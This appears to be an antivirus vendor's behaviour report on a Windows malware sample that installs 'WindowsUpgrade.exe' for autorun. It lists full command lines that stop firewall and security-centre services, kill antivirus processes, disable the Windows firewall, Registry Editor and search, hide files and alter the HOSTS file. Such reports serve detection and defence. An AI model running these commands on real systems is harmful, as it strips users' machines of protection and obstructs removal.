Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\explorer\run] 'winUpgrade' = '<SYSTEM32>\WindowsUpgrade.exe'
Malicious functions:
To bypass firewall, removes or modifies the following registry keys:
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'
To complicate detection of its presence in the operating system,
forces the system hide from view:
- hidden files
blocks execution of the following system utilities:
- Registry Editor (RegEdit)
Executes the following:
- <SYSTEM32>\net1.exe stop "SharedAccess"
- <SYSTEM32>\net.exe stop "SharedAccess"
- <SYSTEM32>\taskkill.exe /f /IM ccProxy.exe /IM ccSetMgr.exe /IM SNDSrvc.exe /IM SPBBCSvc.exe /IM ccEvtMgr.exe /IM ccApp.exe /IM NMAIN.EXE /IM SBServ.exe /IM NOPDB.EXE
- <SYSTEM32>\net.exe stop "Centro de Seguridad"
- <SYSTEM32>\net1.exe stop "Firewall de Windows/Conexiєn compartida a Internet (ICS)"
- <SYSTEM32>\net.exe stop "Firewall de Windows/Conexiєn compartida a Internet (ICS)"
- <SYSTEM32>\net1.exe stop "Centro de Seguridad"
- <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t reg_dword /d 0 /f
- <SYSTEM32>\reg.exe add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSecurityTab /t reg_dword /d 1 /f
- <SYSTEM32>\reg.exe add "HKCU\software\microsoft\windows\currentversion\Explorer\Advanced" /v EnableBalloonTips /t reg_dword /d 1 /f
- <SYSTEM32>\reg.exe add "HKLM\software\microsoft\windows\currentversion\policies\explorer\run" /V winUpgrade /d "<SYSTEM32>\WindowsUpgrade.exe" /f
- <SYSTEM32>\reg.exe add "HKCU\software\microsoft\windows\currentversion\policies\Explorer" /v NoFind /t reg_dword /d 1 /f
- <SYSTEM32>\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL" /v CheckedValue /t reg_dword /d 1 /f
- <SYSTEM32>\reg.exe add "HKCU\software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t reg_dword /d 1 /f
- <SYSTEM32>\reg.exe add "HKLM\software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t reg_dword /d 1 /f
Terminates or attempts to terminate
the following user processes:
- ccapp.exe
Modifies settings of Windows Explorer:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoFind' = '00000001'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\explorer] 'NoSecurityTab' = '00000001'
Modifies file system :
Creates the following files:
- %TEMP%\a51584.bat
Sets the 'hidden' attribute to the following files:
- %TEMP%\a51584.bat
Deletes the following files:
- %TEMP%\a51584.bat
Modifies the HOSTS file.
Miscellaneous:
Searches for the following windows:
- ClassName: '' WindowName: ''
